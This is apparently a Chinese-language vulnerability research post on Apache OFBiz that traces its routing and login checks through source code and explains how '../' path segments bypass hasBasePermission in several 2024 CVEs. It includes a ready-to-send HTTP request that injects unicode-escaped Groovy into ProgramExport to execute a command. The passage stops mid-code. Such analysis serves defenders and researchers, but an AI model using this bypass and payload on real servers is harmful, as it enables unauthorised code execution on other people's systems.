写在前面 自去年CVE-2023-51467爆出后,起初我是不太想再看这个系统了,但年初连续的三个权限绕过相关的CVE编号(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104)又让我产生了好奇,随着对三个历史漏洞分析的过程中,我也发现这三个漏洞的影响面其实并没有特别严重,但思路值得学习(本质是低权限账号提权,利用前提是需要知道低权限账号的密码),但随着进一步的深入分析,最终找到了一个新的利用方,捡了一个前台RCE,在下文中,我将先对路由与鉴权做简单分析并穿插分析历史CVE的成因(CVE-2024-25065/CVE-2024-32113/CVE-2024-36104),最后分享CVE-2024-38856的利用以及一些对抗流量设备的点
路由与鉴权(声明:以下仅介绍与漏洞相关必要代码)
Apache OFBiz的路由统一由org.apache.ofbiz.webapp.control.ControlServlet
处理,在其doGET/doPOST
方法中,首先用大量的代码完成了请求相关环境的初始化(字符集、日志以及上下文等),其后对具体的请求处理逻辑则是通过RequestHandler处理
可以看到在org.apache.ofbiz.webapp.control.RequestHandler#doRequest
中
首先加载了配置信息,它会根据我们请求的上下文环境,解析配置文件webapp/xxxxx/WEB-INF/controller.xml
,为方便讲解下文中的ControllerConfig统一用ccfg代替
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 try { ccfg = new ControllerConfig(getControllerConfig()); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: " , module ); throw new RequestHandlerException(e); } public ConfigXMLReader.ControllerConfig getControllerConfig () { try { return ConfigXMLReader.getControllerConfig(this .controllerConfigURL); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: " , module ); } return null ; }
这里以webapp/partymgr/WEB-INF/controller.xml
为例
简单看看这个配置文件,在前几行引入了一些通用的配置,另外在这里的注释中也提示我们如果存在preprocessor/postprocessor
标签分别会执行预处理与后处理操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <include location ="component://common/webcommon/WEB-INF/common-controller.xml" /> <include location ="component://common/webcommon/WEB-INF/security-controller.xml" /> <include location ="component://commonext/webapp/WEB-INF/controller.xml" /> <include location ="component://content/webapp/content/WEB-INF/controller.xml" /> <description > Party Manager Module Site Configuration File</description > <handler name ="simplecontent" type ="view" class ="org.apache.ofbiz.content.view.SimpleContentViewHandler" />
在此配置文件中剩余部分则以路由以及路由属性相关配置为主
在下文分析时,我们以登录路由/partymgr/control/login
为例
从下面的代码来看,首先会根据我们请求的路径从ccfg中尝试匹配并取得对应配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 String path = request.getPathInfo(); String requestUri = getRequestUri(path); String overrideViewUri = getOverrideViewUri(path); Collection<RequestMap> rmaps = resolveURI(ccfg, request); if (rmaps.isEmpty()) { if (throwRequestHandlerExceptionOnMissingLocalRequest) { throw new RequestHandlerException(requestMissingErrorMessage); } else { throw new RequestHandlerExceptionAllowExternalRequests(); } } String method = request.getMethod(); RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> { String msg = UtilProperties.getMessage("WebappUiLabels" , "RequestMethodNotMatchConfig" , UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request)); return new MethodNotAllowedException(msg); });
而我们的login则在一开始引入的通用配置webcommon/WEB-INF/common-controller.xml
中
此配置文件开头先是定义了预处理与后处理相关事件操作,再往后看不难发现login相关配置,这里我们需要关注几个属性,security标签中的auth决定是否需要登录,event标签定义了如何处理事件,response标签定义返回类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <preprocessor > <event name ="check509CertLogin" type ="java" path ="org.apache.ofbiz.webapp.control.LoginWorker" invoke ="check509CertLogin" /> <event name ="checkRequestHeaderLogin" type ="java" path ="org.apache.ofbiz.webapp.control.LoginWorker" invoke ="checkRequestHeaderLogin" /> <event name ="checkServletRequestRemoteUserLogin" type ="java" path ="org.apache.ofbiz.webapp.control.LoginWorker" invoke ="checkServletRequestRemoteUserLogin" /> <event name ="checkExternalLoginKey" type ="java" path ="org.apache.ofbiz.webapp.control.ExternalLoginKeysManager" invoke ="checkExternalLoginKey" /> <event name ="checkJWTLogin" type ="java" path ="org.apache.ofbiz.webapp.control.JWTManager" invoke ="checkJWTLogin" /> <event name ="checkProtectedView" type ="java" path ="org.apache.ofbiz.webapp.control.ProtectViewWorker" invoke ="checkProtectedView" /> <event name ="extensionConnectLogin" type ="java" path ="org.apache.ofbiz.webapp.control.LoginWorker" invoke ="extensionConnectLogin" /> </preprocessor > <postprocessor > </postprocessor > xxxx省略xxxx <request-map uri ="login" > <security https ="true" auth ="false" /> <event type ="java" path ="org.apache.ofbiz.webapp.control.LoginWorker" invoke ="login" /> <response name ="success" type ="view" value ="main" /> <response name ="requirePasswordChange" type ="view" value ="requirePasswordChange" /> <response name ="error" type ="view" value ="login" /> </request-map >
继续回到我们的RequestHandler执行析,由于我们第一次进入不是链式请求(ControlServet中执行时定义了chain为null),所以这里我们直接看else分支,跳过部分无关代码
首先会执行我们的预处理事件,这其中包含了证书校验、是否通过header登录、JWT登录、多身份视图权限等(漏洞无关,感兴趣可自行看代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 if (chain != null ) { xxxxxxxxxxx } else { xxxxxxxxxxx for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) { try { String returnString = this .runEvent(request, response, event, null , "preprocessor" ); if (returnString == null || "none" .equalsIgnoreCase(returnString)) { interruptRequest = true ; } else if (!"success" .equalsIgnoreCase(returnString)) { if (!returnString.contains(":_protect_:" )) { throw new EventHandlerException("Pre-Processor event [" + event.invoke + "] did not return 'success'." ); } else { returnString = returnString.replace(":_protect_:" , "" ); if (returnString.length() > 0 ) { request.setAttribute("_ERROR_MESSAGE_" , returnString); } eventReturn = null ; if (!requestMap.requestResponseMap.containsKey("protect" )) { if (ccfg.getProtectView() != null ) { overrideViewUri = ccfg.getProtectView(); } else { overrideViewUri = EntityUtilProperties.getPropertyValue("security" , "default.error.response.view" , delegator); overrideViewUri = overrideViewUri.replace("view:" , "" ); if ("none:" .equals(overrideViewUri)) { interruptRequest = true ; } } } } } } catch (EventHandlerException e) { Debug.logError(e, module ); } } }
如果以上预处理均通过之后,接下来则会判断路由是否需要认证
如果需要认证则会取checkLogin
对应的事件做处理并判断,从配置中可以看到,这个校验是通过方法org.apache.ofbiz.webapp.control.LoginWorker#extensionCheckLogin
完成(还记得么,CVE-2023-49070就是通过?USERNAME=&PASSWORD=s&requirePasswordChange=Y绕过了此处的登录校验)
1 2 3 4 5 6 7 8 <request-map uri ="checkLogin" > <description > Verify a user is logged in.</description > <security https ="true" auth ="false" /> <event type ="java" path ="org.apache.ofbiz.webapp.control.LoginWorker" invoke ="extensionCheckLogin" /> <response name ="success" type ="view" value ="main" /> <response name ="impersonated" type ="view" value ="impersonated" /> <response name ="error" type ="view" value ="login" /> </request-map >
在之后则会调用我们url相关配置中对应的事件(这里需要注意如果事件返回为空则nextRequestResponse = ConfigXMLReader.emptyNoneRequestResponse)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 if (eventReturn == null && requestMap.event != null ) { if (requestMap.event.type != null && requestMap.event.path != null && requestMap.event.invoke != null ) { try { long eventStartTime = System.currentTimeMillis(); eventReturn = this .runEvent(request, response, requestMap.event, requestMap, "request" ); if (requestMap.event.metrics != null ) { requestMap.event.metrics.recordServiceRate(1 , System.currentTimeMillis() - startTime); } if (this .trackStats(request)) { ServerHitBin.countEvent(cname + "." + requestMap.event.invoke, request, eventStartTime, System.currentTimeMillis() - eventStartTime, userLogin); } if (eventReturn == null ) { nextRequestResponse = ConfigXMLReader.emptyNoneRequestResponse; } } catch (EventHandlerException e) { if (requestMap.requestResponseMap.containsKey("error" )) { eventReturn = "error" ; Locale locale = UtilHttp.getLocale(request); String errMsg = UtilProperties.getMessage("WebappUiLabels" , "requestHandler.error_call_event" , locale); request.setAttribute("_ERROR_MESSAGE_" , errMsg + ": " + e.toString()); } else { throw new RequestHandlerException("Error calling event and no error response was specified" , e); } } } }
对于我们举例说明的login,从配置看则是调用org.apache.ofbiz.webapp.control.LoginWorker#login
完成登录
1 2 3 4 5 6 7 <request-map uri ="login" > <security https ="true" auth ="false" /> <event type ="java" path ="org.apache.ofbiz.webapp.control.LoginWorker" invoke ="login" /> <response name ="success" type ="view" value ="main" /> <response name ="requirePasswordChange" type ="view" value ="requirePasswordChange" /> <response name ="error" type ="view" value ="login" /> </request-map >
接下来的代码逻辑,如果登陆不成功,则会重定向跳转并返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if (previousRequest != null && loginPass != null && "TRUE" .equalsIgnoreCase(loginPass)) { request.getSession().removeAttribute("_PREVIOUS_REQUEST_" ); if ("logout" .equals(previousRequest) || "/logout" .equals(previousRequest) || "login" .equals(previousRequest) || "/login" .equals(previousRequest) || "checkLogin" .equals(previousRequest) || "/checkLogin" .equals(previousRequest) || "/checkLogin/login" .equals(previousRequest)) { Debug.logWarning("Found special _PREVIOUS_REQUEST_ of [" + previousRequest + "], setting to null to avoid problems, not running request again" , module ); } else { if (Debug.infoOn()) Debug.logInfo("[Doing Previous Request]: " + previousRequest + showSessionId(request), module ); Map<String, Object> previousParamMap = UtilGenerics.checkMap(request.getSession().getAttribute("_PREVIOUS_PARAM_MAP_URL_" ), String.class, Object.class); String queryString = UtilHttp.urlEncodeArgs(previousParamMap, false ); String redirectTarget = previousRequest; if (UtilValidate.isNotEmpty(queryString)) { redirectTarget += "?" + queryString; } callRedirect(makeLink(request, response, redirectTarget), response, request, ccfg.getStatusCodeString()); return ; } } ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success" );
如果成功则继续向下执行,接下来会根据我们的返回结果选择对应视图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (eventReturnBasedRequestResponse != null && (!"success" .equals(eventReturnBasedRequestResponse.name) || "none" .equals(eventReturnBasedRequestResponse.type))) nextRequestResponse = eventReturnBasedRequestResponse; ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success" ); if ((eventReturn == null || "success" .equals(eventReturn)) && successResponse != null && "request" .equals(successResponse.type)) { if (UtilValidate.isNotEmpty(overrideViewUri)) { request.setAttribute("_POST_CHAIN_VIEW_" , overrideViewUri); } nextRequestResponse = successResponse; } if (nextRequestResponse == null ) nextRequestResponse = successResponse;if (nextRequestResponse == null ) { throw new RequestHandlerException("Illegal response; handler could not process request [" + requestMap.uri + "] and event return [" + eventReturn + "]." ); }
根据视图类型决定下一步操作的执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 if ("url" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect." + showSessionId(request), module ); callRedirect(nextRequestResponse.value, response, request, ccfg.getStatusCodeString()); } else if ("url-redirect" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a URL redirect with redirect parameters." + showSessionId(request), module ); callRedirect(nextRequestResponse.value + this .makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("cross-redirect" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Cross-Application redirect." + showSessionId(request), module ); String url = nextRequestResponse.value.startsWith("/" ) ? nextRequestResponse.value : "/" + nextRequestResponse.value; callRedirect(url + this .makeQueryString(request, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("request-redirect" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect." + showSessionId(request), module ); callRedirect(makeLinkWithQueryString(request, response, "/" + nextRequestResponse.value, nextRequestResponse), response, request, ccfg.getStatusCodeString()); } else if ("request-redirect-noparam" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a Request redirect with no parameters." + showSessionId(request), module ); callRedirect(makeLink(request, response, nextRequestResponse.value), response, request, ccfg.getStatusCodeString()); } else if ("view" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module ); String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success" .equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; renderView(viewName, requestMap.securityExternalView, request, response, saveName); } else if ("view-last" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module ); String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success" .equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; Map<String, Object> urlParams = null ; if (session.getAttribute("_SAVED_VIEW_NAME_" ) != null ) { viewName = (String) session.getAttribute("_SAVED_VIEW_NAME_" ); urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_SAVED_VIEW_PARAMS_" )); } else if (session.getAttribute("_HOME_VIEW_NAME_" ) != null ) { viewName = (String) session.getAttribute("_HOME_VIEW_NAME_" ); urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_HOME_VIEW_PARAMS_" )); } else if (session.getAttribute("_LAST_VIEW_NAME_" ) != null ) { viewName = (String) session.getAttribute("_LAST_VIEW_NAME_" ); urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_LAST_VIEW_PARAMS_" )); } else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) { viewName = nextRequestResponse.value; } if (UtilValidate.isEmpty(viewName) && UtilValidate.isNotEmpty(nextRequestResponse.value)) { viewName = nextRequestResponse.value; } if (urlParams != null ) { for (Map.Entry<String, Object> urlParamEntry: urlParams.entrySet()) { String key = urlParamEntry.getKey(); if (!("_EVENT_MESSAGE_" .equals(key) || "_ERROR_MESSAGE_" .equals(key) || "_EVENT_MESSAGE_LIST_" .equals(key) || "_ERROR_MESSAGE_LIST_" .equals(key))) { request.setAttribute(key, urlParamEntry.getValue()); } } } renderView(viewName, requestMap.securityExternalView, request, response, null ); } else if ("view-last-noparam" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module ); String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success" .equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; if (session.getAttribute("_SAVED_VIEW_NAME_" ) != null ) { viewName = (String) session.getAttribute("_SAVED_VIEW_NAME_" ); } else if (session.getAttribute("_HOME_VIEW_NAME_" ) != null ) { viewName = (String) session.getAttribute("_HOME_VIEW_NAME_" ); } else if (session.getAttribute("_LAST_VIEW_NAME_" ) != null ) { viewName = (String) session.getAttribute("_LAST_VIEW_NAME_" ); } else if (UtilValidate.isNotEmpty(nextRequestResponse.value)) { viewName = nextRequestResponse.value; } renderView(viewName, requestMap.securityExternalView, request, response, null ); } else if ("view-home" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module ); String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success" .equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; Map<String, Object> urlParams = null ; if (session.getAttribute("_HOME_VIEW_NAME_" ) != null ) { viewName = (String) session.getAttribute("_HOME_VIEW_NAME_" ); urlParams = UtilGenerics.<String, Object>checkMap(session.getAttribute("_HOME_VIEW_PARAMS_" )); } if (urlParams != null ) { for (Map.Entry<String, Object> urlParamEntry: urlParams.entrySet()) { request.setAttribute(urlParamEntry.getKey(), urlParamEntry.getValue()); } } renderView(viewName, requestMap.securityExternalView, request, response, null ); } else if ("none" .equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is handled by the event." + showSessionId(request), module ); }
如果登陆成功,则会渲染value对应的视图(可以看到view对应的value都是一些路由=>你发现了什么,如果发现了可以先自己看看,没有则继续看我分析)
1 2 3 <response name ="success" type ="view" value ="main" /> <response name ="requirePasswordChange" type ="view" value ="requirePasswordChange" /> <response name ="error" type ="view" value ="login" />
这里为方便理解其后的漏洞场景,这里我们换一个路由,以ProgramExport为例,查看对应配置,可以看到无论response如何响应其视图都是ProgramExport
1 2 3 4 5 <request-map uri="ProgramExport" > <security https="true" auth="true" /> <response name="success" type="view" value="ProgramExport" /> <response name="error" type="view" value="ProgramExport" /> </request-map>
那么接下来我们来简单看看renderView是如何处理的,为方便理解这里我手动去除了大量漏洞主题无关代码,我们主要关注以下部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 private void renderView (String view, boolean allowExtView, HttpServletRequest req, HttpServletResponse resp, String saveName) throws RequestHandlerException {xxxxxxxxxxxxxxxxx if (viewMap.page == null ) { if (!allowExtView) { throw new RequestHandlerException("No view to render." ); } else { nextPage = "/" + oldView; } } else { nextPage = viewMap.page; } ConfigXMLReader.ViewMap viewMap = null ; try { viewMap = (view == null ? null : getControllerConfig().getViewMapMap().get(view)); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: " , module ); throw new RequestHandlerException(e); } if (viewMap == null ) { throw new RequestHandlerException("No definition found for view with name [" + view + "]" ); } xxxxxxxxxxxxxxxxx try { if (Debug.verboseOn()) Debug.logVerbose("Rendering view [" + nextPage + "] of type [" + viewMap.type + "]" , module ); ViewHandler vh = viewFactory.getViewHandler(viewMap.type); vh.render(view, nextPage, viewMap.info, contentType, charset, req, resp); } catch (ViewHandlerException e) { Throwable throwable = e.getNested() != null ? e.getNested() : e; throw new RequestHandlerException(e.getNonNestedMessage(), throwable); } xxxxxxxxxxxxxxxxx } public ConfigXMLReader.ControllerConfig getControllerConfig () { try { return ConfigXMLReader.getControllerConfig(this .controllerConfigURL); } catch (WebAppConfigurationException e) { Debug.logError(e, "Exception thrown while parsing controller.xml file: " , module ); } return null ; } private RequestHandler (ServletContext context) { this .controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context); try { ConfigXMLReader.getControllerConfig(this .controllerConfigURL); } catch (WebAppConfigurationException e) { } xxxxxxxxx }
解析的配置对应配置文件中的这部分,type为screen对应MacroScreenViewHandler
(对应配置文件下handler标签下type为view的配置),page对应nextPage也就是component://webtools/widget/EntityScreens.xml#ProgramExport
1 <view-map name ="ProgramExport" type ="screen" page ="component://webtools/widget/EntityScreens.xml#ProgramExport" />
接下来render的流程比较复杂,这里就不再一点一点分析了,简单来说就是根据nextPage解析对应字段参数,在这里即为EntityScreens.xml
中的screen
为ProgramExport
的部分,对于其中的script字段也会去尝试解析执行ProgramExport.groovy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <screen name ="ProgramExport" > <section > <actions > <set field ="titleProperty" value ="PageTitleEntityExportAll" /> <set field ="tabButtonItem" value ="programExport" /> <script location ="component://webtools/groovyScripts/entity/ProgramExport.groovy" /> </actions > <widgets > <decorator-screen name ="CommonImportExportDecorator" location ="${parameters.mainDecoratorLocation}" > <decorator-section name ="body" > <screenlet > <include-form name ="ProgramExport" location ="component://webtools/widget/MiscForms.xml" /> </screenlet > <screenlet > <platform-specific > <html > <html-template location ="component://webtools/template/entity/ProgramExport.ftl" /> </html > </platform-specific > </screenlet > </decorator-section > </decorator-screen > </widgets > </section > </screen >
查看ProgramExport.groovy
,可以见得字段groovyProgram
可控,从而造成任意代码执行,当然这里面还有一些代码限制,在上一次漏洞分析时我们已经提过了,这里就不再重复分析了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import org.apache.ofbiz.entity.Delegatorimport org.apache.ofbiz.entity.GenericValueimport org.apache.ofbiz.entity.model.ModelEntityimport org.apache.ofbiz.base.util.*import org.apache.ofbiz.security.SecuredUploadimport org.w3c.dom.Documentimport org.codehaus.groovy.control.customizers.ImportCustomizerimport org.codehaus.groovy.control.CompilerConfigurationimport org.codehaus.groovy.control.MultipleCompilationErrorsExceptionimport org.codehaus.groovy.control.ErrorCollectorString groovyProgram = null recordValues = [] errMsgList = [] if (!parameters.groovyProgram) { groovyProgram = ''' // Use the List variable recordValues to fill it with GenericValue maps. // full groovy syntaxt is available import org.apache.ofbiz.entity.util.EntityFindOptions // example: // find the first three record in the product entity (if any) EntityFindOptions findOptions = new EntityFindOptions() findOptions.setMaxRows(3) List products = delegator.findList("Product", null, null, null, findOptions, false) if (products != null) { recordValues.addAll(products) } ''' parameters.groovyProgram = groovyProgram } else { groovyProgram = parameters.groovyProgram } def importCustomizer = new ImportCustomizer()importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue" ) importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity" ) def configuration = new CompilerConfiguration()configuration.addCompilationCustomizers(importCustomizer) Binding binding = new Binding() binding.setVariable("delegator" , delegator) binding.setVariable("recordValues" , recordValues) ClassLoader loader = Thread.currentThread().getContextClassLoader() def shell = new GroovyShell(loader, binding, configuration)if (UtilValidate.isNotEmpty(groovyProgram)) { try { if (!SecuredUpload.isValidText(groovyProgram, ["import" ])) { logError("================== Not executed for security reason ==================" ) request.setAttribute("_ERROR_MESSAGE_" , "Not executed for security reason" ) return } shell.parse(groovyProgram) shell.evaluate(groovyProgram) recordValues = shell.getVariable("recordValues" ) xmlDoc = GenericValue.makeXmlDocument(recordValues) context.put("xmlDoc" , xmlDoc) } catch (MultipleCompilationErrorsException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (groovy.lang.MissingPropertyException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (IllegalArgumentException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (NullPointerException e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } catch (Exception e) { request.setAttribute("_ERROR_MESSAGE_" , e) return } }
接下来,在我们简单了解了整个解析流程后,我们再来看看这三个连续出现的CVE就显得不那么困难了
浅析连续出现三次的权限绕过漏洞在一开始流程分析我们更需要注重对流程的分析,在漏洞分析过程我们则更需要注重具体的细节
之前网上发的Payload其实和这个CVE的漏洞没啥关系(/webtools/control/forgotPassowrd/../ProgramExport压根就不会走到这个权限校验的逻辑),这三个CVE本质是checkLogin事件中绕过org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission
实现低权限用户的权限提升
分析前我先创建一个最小权限的账号(甚至没有正常登录后台的权限)(PS:此截图来源于V18.12.12),这个漏洞的作用就能帮助我们完成垂直越权
CVE-2024-25065 权限绕过浅析对账号的访问权限部分由org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission
控制
在这里很显然只要我们能够让info为null即可跳过判断,查看ComponentConfig.getWebAppInfo
的代码我们不难发现,判断条件是equals
,因此只要我们能让其不相等即可,而这个contextPath
变量来源于request.getContextPath()
的执行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public static boolean hasBasePermission (GenericValue userLogin, HttpServletRequest request) { Security security = (Security) request.getAttribute("security" ); if (security != null ) { ServletContext context = request.getServletContext(); String serverId = (String) context.getAttribute("_serverId" ); String contextPath = request.getContextPath(); if (UtilValidate.isEmpty(contextPath)) { contextPath = "/" ; } ComponentConfig.WebappInfo info = ComponentConfig.getWebAppInfo(serverId, contextPath); if (info != null ) { return hasApplicationPermission(info, security, userLogin); } else { if (Debug.infoOn()) { Debug.logInfo("No webapp configuration found for : " + serverId + " / " + contextPath, module ); } } } else { if (Debug.warningOn()) { Debug.logWarning("Received a null Security object from HttpServletRequest" , module ); } } return true ; } public static WebappInfo getWebAppInfo (String serverName, String contextRoot) { if (serverName == null || contextRoot == null ) { return null ; } ComponentConfig.WebappInfo info = null ; for (ComponentConfig cc : getAllComponents()) { for (WebappInfo wInfo : cc.getWebappInfos()) { if (serverName.equals(wInfo.server) && contextRoot.equals(wInfo.getContextRoot())) { info = wInfo; } } } return info; }
这里为了方便大家的理解,我们可以看一下具体的函数实现
在org.apache.catalina.connector.Request#getContextPath
中,可以看到函数的返回与match
相关
我们只需保证candidate
与canonicalContextPath
相等即可让match返回true(match = canonicalContextPath.equals(candidate);
),而candidate
的值是通过while循环取得,每次多取一级子目录的值,并经过url解码以及normalize后即为其值
因此我们很容易构造出这样的URL/y4tacker/../webtools/control/login
,这样ContextPath
的值中就会带上/y4tacker/../
,显然不会再与配置中的值相等,从而实现绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 @Override public String getContextPath () { int lastSlash = mappingData.contextSlashCount; if (lastSlash == 0 ) { return "" ; } String canonicalContextPath = getServletContext().getContextPath(); String uri = getRequestURI(); int pos = 0 ; if (!getContext().getAllowMultipleLeadingForwardSlashInPath()) { do { pos++; } while (pos < uri.length() && uri.charAt(pos) == '/' ); pos--; uri = uri.substring(pos); } char [] uriChars = uri.toCharArray(); while (lastSlash > 0 ) { pos = nextSlash(uriChars, pos + 1 ); if (pos == -1 ) { break ; } lastSlash--; } String candidate; if (pos == -1 ) { candidate = uri; } else { candidate = uri.substring(0 , pos); } candidate = removePathParameters(candidate); candidate = UDecoder.URLDecode(candidate, connector.getURICharset()); candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate); boolean match = canonicalContextPath.equals(candidate); while (!match && pos != -1 ) { pos = nextSlash(uriChars, pos + 1 ); if (pos == -1 ) { candidate = uri; } else { candidate = uri.substring(0 , pos); } candidate = removePathParameters(candidate); candidate = UDecoder.URLDecode(candidate, connector.getURICharset()); candidate = org.apache.tomcat.util.http.RequestUtil.normalize(candidate); match = canonicalContextPath.equals(candidate); } if (match) { if (pos == -1 ) { return uri; } else { return uri.substring(0 , pos); } } else { throw new IllegalStateException( sm.getString("coyoteRequest.getContextPath.ise" , canonicalContextPath, uri)); } }
为什么这及个老漏洞利用必须要求登录这是很多人都会犯错的地方,以为直接带个../
就行了,事后问为什么我不能复现
以下面的数据包为例,通过低权限账号发包后替换Cookie中的JSESSIONID即可(但前提是一定要有账号,账号可以没有任何端点的访问权限)
1 2 3 4 5 6 7 8 9 POST /y4tacker/../webtools/control/ProgramExport HTTP/1.1 Host : 127.0.0.1:8080X-Forwarded-Proto : HTTPSContent-Type : application/x-www-form-urlencodedCookie : JSESSIONID=BF2814CAF9E77F1F1C7A7DD49465D0B6.jvm1; Path=/webtools; HttpOnlyUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length : 200USERNAME =y4 tacker&PASSWORD=y4 tacker123 &JavaScriptEnabled=Y&groovyProgram=\u0022 \u006 f\u0070 \u0065 \u006 e\u0020 \u002 d\u006 e\u0061 \u0020 \u0043 \u0061 \u006 c\u0063 \u0075 \u006 c\u0061 \u0074 \u006 f\u0072 \u0022 \u002 e\u0065 \u0078 \u0065 \u0063 \u0075 \u0074 \u0065 \u0028 \u0029
这时候就会有人问,这里不是都绕过hasBasePermission
了么?为什么还需要密码?这里再带大家梳理一遍
我们要利用的功能点ProgramExport
(对应第二点提到的Path)其属性auth为true
,代表需要鉴权,路由功能是通过path决定的(requestMapMap.get(requestUri)
=>getRequestUri(path);
=>req.getPathInfo();
)
需要鉴权就需要通过extensionCheckLogin完成,在这个函数中先校验用户名密码
用户名密码正确,之后通过函数hasBasePermission
判断是否有对应路径权限,而我们使用带../
的路径绕过hasBasePermission
权限校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Collection<RequestMap> rmaps = resolveURI(ccfg, request); if (rmaps.isEmpty()) { if (throwRequestHandlerExceptionOnMissingLocalRequest) { throw new RequestHandlerException(requestMissingErrorMessage); } else { throw new RequestHandlerExceptionAllowExternalRequests(); } } String method = request.getMethod(); RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> { String msg = UtilProperties.getMessage("WebappUiLabels" , "RequestMethodNotMatchConfig" , UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request)); return new MethodNotAllowedException(msg); }); static Collection<RequestMap> resolveURI (ControllerConfig ccfg, HttpServletRequest req) { Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap(); Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap(); String defaultRequest = ccfg.getDefaultRequest(); String path = req.getPathInfo(); String requestUri = getRequestUri(path); String viewUri = getOverrideViewUri(path); Collection<RequestMap> rmaps; if 